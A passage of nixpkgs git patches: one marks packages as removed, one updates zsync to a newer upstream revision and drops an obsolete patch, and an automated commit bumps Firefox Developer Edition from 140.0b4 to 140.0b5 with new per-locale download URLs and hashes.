+  gtkextra = throw "'gtkextra' has been removed due to lack of maintenance upstream."; # Added 2025-06-10
   gtkperf = throw "'gtkperf' has been removed due to lack of maintenance upstream"; # Added 2024-09-14
   guardian-agent = throw "'guardian-agent' has been removed, as it hasn't been maintained upstream in years and accumulated many vulnerabilities"; # Added 2024-06-09
   guile-disarchive = disarchive; # Added 2023-10-27

From dc13b4e3a9cc624ef6c0e9c35e008456a3e72936 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sun, 1 Jun 2025 22:11:35 -0600
Subject: [PATCH 1050/4511] zsync: 0.6.2-unstable-2017-04-25 ->
 0.6.3-unstable-2025-05-29

Diff: https://github.com/cph6/zsync/compare/6cfe374f8f2310cbd624664ca98e5bb28244ba7a...a5cb28f923dd3cfdeb65e2930dd1faa727c2abf8
(cherry picked from commit 4089c35147f1a37edd5c06d695717decc337d0e3)
---
 pkgs/by-name/zs/zsync/package.nix                   | 11 ++++-------
 .../zs/zsync/read-blocksums-declaration-fix.patch   | 13 -------------
 2 files changed, 4 insertions(+), 20 deletions(-)
 delete mode 100644 pkgs/by-name/zs/zsync/read-blocksums-declaration-fix.patch

diff --git a/pkgs/by-name/zs/zsync/package.nix b/pkgs/by-name/zs/zsync/package.nix
index 934bf7e97a95..338a86a7bbaf 100644
--- a/pkgs/by-name/zs/zsync/package.nix
+++ b/pkgs/by-name/zs/zsync/package.nix
@@ -7,21 +7,18 @@
 
 stdenv.mkDerivation rec {
   pname = "zsync";
-  version = "0.6.2-unstable-2017-04-25";
+  version = "0.6.3-unstable-2025-05-29";
 
   src = fetchFromGitHub {
     owner = "cph6";
     repo = "zsync";
-    rev = "6cfe374f8f2310cbd624664ca98e5bb28244ba7a";
-    hash = "sha256-SnCzNDMyhMx+2JmgsrjtYDa31Ki1EWix9iBfaduDnro=";
+    rev = "a5cb28f923dd3cfdeb65e2930dd1faa727c2abf8";
+    hash = "sha256-gJs1P83AKWGipspeoFCSibZH+X6mmj3aL4+yjGO2YJo=";
   };
 
   sourceRoot = "${src.name}/c";
 
-  patches = [
-    ./remove-inexisting-rsumtest.patch
-    ./read-blocksums-declaration-fix.patch
-  ];
+  patches = [ ./remove-inexisting-rsumtest.patch ];
 
   makeFlags = [ "AR=${stdenv.cc.bintools.targetPrefix}ar" ];
 
diff --git a/pkgs/by-name/zs/zsync/read-blocksums-declaration-fix.patch b/pkgs/by-name/zs/zsync/read-blocksums-declaration-fix.patch
deleted file mode 100644
index d4e8e638af49..000000000000
--- a/pkgs/by-name/zs/zsync/read-blocksums-declaration-fix.patch
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/libzsync/zsync.c b/libzsync/zsync.c
-index 793a426..783c349 100644
---- a/libzsync/zsync.c
-+++ b/libzsync/zsync.c
-@@ -116,7 +116,7 @@ struct zsync_state {
- };
- 
- static int zsync_read_blocksums(struct zsync_state *zs, FILE * f,
--                                int rsum_bytes, int checksum_bytes,
-+                                int rsum_bytes, unsigned int checksum_bytes,
-                                 int seq_matches);
- static int zsync_sha1(struct zsync_state *zs, int fh);
- static int zsync_recompress(struct zsync_state *zs);

From e22fcbeb45f9ca51b2f207ee4d17f547069bf098 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 6 Jun 2025 08:42:09 +0000
Subject: [PATCH 1051/4511] firefox-devedition-bin-unwrapped: 140.0b4 ->
 140.0b5

(cherry picked from commit 97568674a30e7e3f10c5e7cc25b3d85cb7970316)
---
 .../firefox-bin/developer-edition_sources.nix | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
index f67bffe378d7..02dcc819e4f8 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0b4";
+  version = "140.0b5";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ach/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ach/firefox-140.0b5.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "ed1554afe2f6f16e43600abc464a5093f9668cbe2c2f9ff2c2a5c7751924dfcc";
+      sha256 = "1f0375f886207ee6dde86ddbb12445774197020d37d749560618865b479b98d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/af/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/af/firefox-140.0b5.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "2c42439d6d8aebb5e9cd5a7a662d181fa421a6baca7288492bf22f1f919001f8";
+      sha256 = "7e7cf35862873d17ab3bbc1feb285d79b263b8a3cd78e310dabef83ba622979e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/an/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/an/firefox-140.0b5.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "413ccf730b5429950731693c968f1839c9c84772c62e2d06c9e93e1724015230";
+      sha256 = "95700689dccb1e1035f8642c4fd3ccba7cd7985b967992cabd75ab82d3bf83d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ar/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ar/firefox-140.0b5.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "f99f746fb9d1996cc2aec0881c78d01d871d5c0feae57ac07f2a81cf4b295247";
+      sha256 = "214f50dcc2566cef3db820eef8b211187d1f46ab973b55bce948f975166ec527";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ast/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ast/firefox-140.0b5.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "becb101ca6fbcf2452ff5d025524b465815ebebb3507f3f2f24c42ef1e2cd2cb";
+      sha256 = "9847906a18ee8f83708c20954443cecd00644b83f0b9fbbd3fc435e728fc3881";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/az/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/az/firefox-140.0b5.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "1c8ce7b3c1a3d0fe79f2039d0386cc8bfb36583331db2e76d4fef0e36fe3dd01";
+      sha256 = "73dd33ed39918c78a298808fbd6666e122ef5bb8e027437e5b84c9fd0ed49c8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/be/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/be/firefox-140.0b5.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "0e24d3516d2a464e9bbf4b575c8f3ab54c724102c89d19890c3a629e3d53d4aa";
+      sha256 = "dc15d821f6ef14ad47e1faaf47fa33e1f47e6d2fe2c6991c1b05c42b93caa646";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/bg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/bg/firefox-140.0b5.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "d7184793c5aaf2d53a15de10f97a3f74a04f47a17a4864a3ab0fdd082d14c8ef";
+      sha256 = "15754b928c5de3ad978134ec7a41cab691e80541a7b77d40f587a4ef49056ca3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/bn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/bn/firefox-140.0b5.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "5b29c8c9dea8541a00c94b35af1b05681b3f7e5533f50724bbcdfad23fe4b374";
+      sha256 = "d6608a03f465ba43d6a19745d371e896f751c9965b39d48864fb51acd657ade9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/br/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/br/firefox-140.0b5.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "90e8da40dc2fad16a3fcee7fd04e7d8b9507dd0bbeb343f1feb5cead4351a53f";
+      sha256 = "e92b43c268562f6601367d8fcd5cbff941c0bde8c2f5e83f01a5e8606d25e1b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/bs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/bs/firefox-140.0b5.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "a2aca9afe6c3bc00d0f3c885a29d4ad6537a5a9f9e34bec196592c8c18d7fd09";
+      sha256 = "d93a05def66a977d4a30fbd84c9238128ce1f4790584b7a8d649b953b97b63ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ca-valencia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ca-valencia/firefox-140.0b5.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "5d4bc97a8726f34b93d1c066e7417904be8017e209a912eb08116d97a21d4350";
+      sha256 = "ce716548b10a8dc0e61b065e9b388f00f83596f7cd02aad650260f6690bb3e26";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ca/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ca/firefox-140.0b5.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "2a33c442ae382b834a78ee4358f0771bb6edd5c6382ec9f298861a2eca11b79e";
+      sha256 = "649ca4101a10ef6dd1daa520b1cf6a131c1379298241db3cee23d5df6ef60677";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/cak/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/cak/firefox-140.0b5.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "e0d45404dee8ee5bdf301fbafd876d6a20597d0bf52a7765aaa5069115825f3d";
+      sha256 = "6fb8e27c6068aa3b91e4405b1c5272ef9258cc5d9ebc8b521129694faa7afdab";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/cs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/cs/firefox-140.0b5.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "892e04a3707da1bcf31d1b7ebf3ca896e4eb28e833fde42c0c86d1d6bc4f7ad3";
+      sha256 = "665afa6ff95c2893d025827e19a2a00283f4317a5dbe70fd699b72f6c1b88032";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/cy/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/cy/firefox-140.0b5.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "51251020df6ef2436f91994c7bd6760bc27ce79f24f4044dc27ea35a827508df";
+      sha256 = "747e19b6455197097bff2376537e07a7b221683b57cd8f94d87531607f9c4c60";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/da/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/da/firefox-140.0b5.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "d0a7f95babaf32f19267f36a1553159a340187deb131a8c68c6807e15afeca32";
+      sha256 = "3c07cb7562cccaee370526f6f3377eba01bd497d15b32e38813aaf20e872a6f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/de/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/de/firefox-140.0b5.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "df0c0ab4772c2004be8fb9f1db5ca8d00ed2ef4217c60138db991c2b5dbbe439";
+      sha256 = "3190ba13d9e483e6b245058e73fcfa2b14b45ecfca089e0d58b719903bcbc49f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/dsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/dsb/firefox-140.0b5.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "af4a92e19e01ab664e26b7c59fe34a230f4dd3bfcc4bca59d1d71a46936d7800";
+      sha256 = "b989fb3ef4c972bd17eb590e66e4f829bdcd1ec3d1a1f1cfe0c16607448c8e4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/el/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/el/firefox-140.0b5.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "ece534644114af64ee062608aeb0d04c7fedacde76c80ace8931692a89213015";
+      sha256 = "b903e43d0e2d1ec0b434c979e90a00c4df1a39f59c5698b0dbdfc1f1eccae780";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/en-CA/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/en-CA/firefox-140.0b5.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "494aa1d40b6faa19bf16be5f75a8eaec0b6903e22a3b85bf6db969815c67e744";
+      sha256 = "1b6586b6d6e646f690d8ef05fe05a019e3320fbd16b4945ddcbb18bbf841ee80";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/en-GB/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/en-GB/firefox-140.0b5.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "8cb6a84fb9fcc27115de62396eff3a24de1b4eb87fdbba649536d4a877bb9e90";
+      sha256 = "b80c1cf17aa66d6d1cf35f3166ca9d409ac169e7f33f7159daebfe7cc714f825";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/en-US/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/en-US/firefox-140.0b5.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "4e7af27ab23d6b5da4cef54989c510612f55ec058f53106b1f51152b25db4d9b";
+      sha256 = "e57259f92dc44630d5f0ed60e24cc3358cc7053754171134f1c8d5413aa297e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/eo/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/eo/firefox-140.0b5.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "fd5a6ab7fc1748b1444f655ceafe5fb83441baa6ad70b10aed44a2e973dc7f33";
+      sha256 = "b413dd6127f3661945a98691d972b72dde13dff6460e0a8a7cdf4b0b8ac05bf6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-AR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-AR/firefox-140.0b5.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "16a4e466fc24c65736ebbf83ac2cba1fdc0f74ca28a10faf0c5748776bf0c1f8";
+      sha256 = "e832a156c248c826e2d4b3026fcec5dfa2c395a22de474d26a08d912e150b029";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-CL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-CL/firefox-140.0b5.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "9750c945c67f351ac9a8d5be40cefee79f4dd6974cfdcd5f1f7162da8d2466f0";
+      sha256 = "72b105af7610696a56f0ac576d92f09c2890891bc6057988f9af7e803893dc7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-ES/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-ES/firefox-140.0b5.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "f174e7a9ad5d95dabede5e2339b1750c6f85e2bb0d1f8dc654d242ba00b39c00";
+      sha256 = "8b49655f00932ba12a7c4d182f00c69109130c0d55dfe9c58400c1d81c79aa70";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/es-MX/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-MX/firefox-140.0b5.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "b9257a36159ad9e65fde2e5580efafa722600d6a27ac2996fbba49fb2fbe0c08";
+      sha256 = "00ecb996a022264e13bd1d7877dbcbbefc16ebd272cb55d0e2bf6f59f17c1629";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/et/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/et/firefox-140.0b5.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "d1c583e56238a293e1fbe9eebfb6cbdc33eafec1c5286ff5765debd2f68b0ce4";
+      sha256 = "371a145b068313d3bc2f2a2229e6db80a109b5d82c2030f9e952a1638dc79a31";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/eu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/eu/firefox-140.0b5.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "def0cd7abfc22a6f60927bd232ac93d504ddb26e3e4983d9708e31b7341db75a";
+      sha256 = "df1c9b82cdfafee8495e7c2f668fcad116866f9cff8047a3cee9490242386edd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fa/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fa/firefox-140.0b5.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "44e74ebd3258cc16be4e2d9f6718b08e7e6c60f0239f990006727c42662d925f";
+      sha256 = "9209168394b752bd142ede109f93cb2291c58d61457a1d8e9835525a43befbd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ff/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ff/firefox-140.0b5.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "bde7c76e9728ba604b297d6924034983f7846077daba3fa959710bbd18f3e525";
+      sha256 = "f56c153920106cfe48bd822e6e1c8d1c9d9075bc868a06e3ad92a38a603f0b1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fi/firefox-140.0b5.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "e71fe4950ab0395cadce49dc7774940ff126476004155270de788660963af6d9";
+      sha256 = "3dd2e61b36e421c21bab47aa32e72156197f650f1d930a39106b1519b30bc9a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fr/firefox-140.0b5.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "73d3bcd3efa9828c4c46dab307ea2fb7478700a8a4746aa81d35e31d969756ef";
+      sha256 = "83ca5faffd5679f63d9abf7ce95e68ef66e764e49ac0babdd35ec20217086a47";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fur/firefox-140.0b5.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "e81e8ad39b55548bc88666bb7adc03ce18fc5ba57d31c0d94c90202897e29cc5";
+      sha256 = "43e0cce06fb685e2a7c2dd0c19cb8d340d821976ca582400222626bc75cec5f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/fy-NL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fy-NL/firefox-140.0b5.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "c064a6fdb1b474f9cce223691e216a9a232041326b1ef1dc47175c406e7619b9";
+      sha256 = "804fbcdaecab060280ca1c86f92c41b9e5e4b8384eafebba56ce2524f8a2ae7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ga-IE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ga-IE/firefox-140.0b5.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "09fd356ab21d082b7b2ca96ac05bbc8691e0b833a96cd20e01058228506fba7d";
+      sha256 = "b4e9e07084cc1683befabd6353b7df48bb093c08d52eebf1c8ae571f106553bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gd/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gd/firefox-140.0b5.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "2c2128f710ef3ff6d462c9420d1e0080a280fbe74279b99fd48f90b607b43dce";
+      sha256 = "37b708878f8835eb98214d236ba6749776dc98db251f4b5443b9405882920e51";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gl/firefox-140.0b5.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "8bd114ad5da25dbd4672519939d39e1b865abcdb64d672f51a66b7ffbdadb68d";
+      sha256 = "a91659c8dcef37a9b94c71e8e0741ace6e705e9f36dfc65b1a604dcc50357ade";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gn/firefox-140.0b5.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "8af55045fcf0f4f28f1ce09e5a540c6a28ac2f7040a0f41599298fdbc898a750";
+      sha256 = "6d50592dc20b4e3b874eef21e50c5b5b5bff5fcce5d71c959c8c044e690648ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/gu-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gu-IN/firefox-140.0b5.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "a05701804e12296468c1c5b0f41352117c3564e81987d9f085a1a5aa21ff8345";
+      sha256 = "15ef43dba8a61a8fb0717b132b57d510f57f40ceeab758cfca5b4b7bb152cc55";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/he/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/he/firefox-140.0b5.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "569bfc9273743adf40a346f9d921ea9828e1356d384969287dca95d4f008d7a9";
+      sha256 = "bb9c0e28b3526e2873728ed0b912cf3ac5aabbe48e7cd3181b75bbcd2706fa06";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hi-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hi-IN/firefox-140.0b5.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "07b8ba1226e79cc94cd081d7a845b9d2f19960cd622cb1b09f7e03bd2ae07bf6";
+      sha256 = "078f4ff60fedb0ca2f4955997cc9f80c77923195aa45ff9c4a9d428a5982ff4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hr/firefox-140.0b5.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "212bdc93f22821083001f8e605fcc3bb898a2af5aa03adcfe5361f72461142c1";
+      sha256 = "7bde8d2f20e21705000f9ccde96ac4444a002d822e7d8b35b6b5550931a42b9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hsb/firefox-140.0b5.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "7d4ea28a2c6adaf9e71f4694d35f7aece693b6f4e3634ce21df45e7c0c0145dd";
+      sha256 = "2143fe5abf7cbc3bcefdfb17cb6ab9e751bd33bf8b1e9a00fad356d3490b34d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hu/firefox-140.0b5.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "9165f21b67d2714d2704f23c93026c1ceecca3db09faaec9782640fef16cbc0b";
+      sha256 = "fbba0f840bc931ab4515fc8e5d9f38ac54ee090f127f381160c9f8a26f1d12cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/hy-AM/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hy-AM/firefox-140.0b5.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "ce04cecbfcac04037bce64d5cd06995416cbfd4232dae04515fd0edf8a1fb6eb";
+      sha256 = "bd3259df39763727d25de9bba943bc4037535c90ba3ebfa42e7b1835b683e772";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ia/firefox-140.0b5.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "241daa6215d95180879c077a94733058d804e9b08aa285f50a07362e95955fce";
+      sha256 = "a0bd18ac32ff40fca8b255878013eee13a357d2aab8693376ca9e17d535bc8c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/id/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/id/firefox-140.0b5.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "563114161ebad123b8c98d53fd45dc4f42a36c43699b476039fc136503f4a3d3";
+      sha256 = "de80edc3b03c238f448a7710fc74c061ed4a281692771667788cf2ad1afa175e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/is/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/is/firefox-140.0b5.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "aceeaea1d110c7404eb6514dc2c0bb498cfc0f7dc01fe49b3b28362672adacb9";
+      sha256 = "b85126641862e01bb17da1f8e316630157d7dfe18f4670579221b049f8edd891";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/it/firefox-140.0b4.tar.xz";
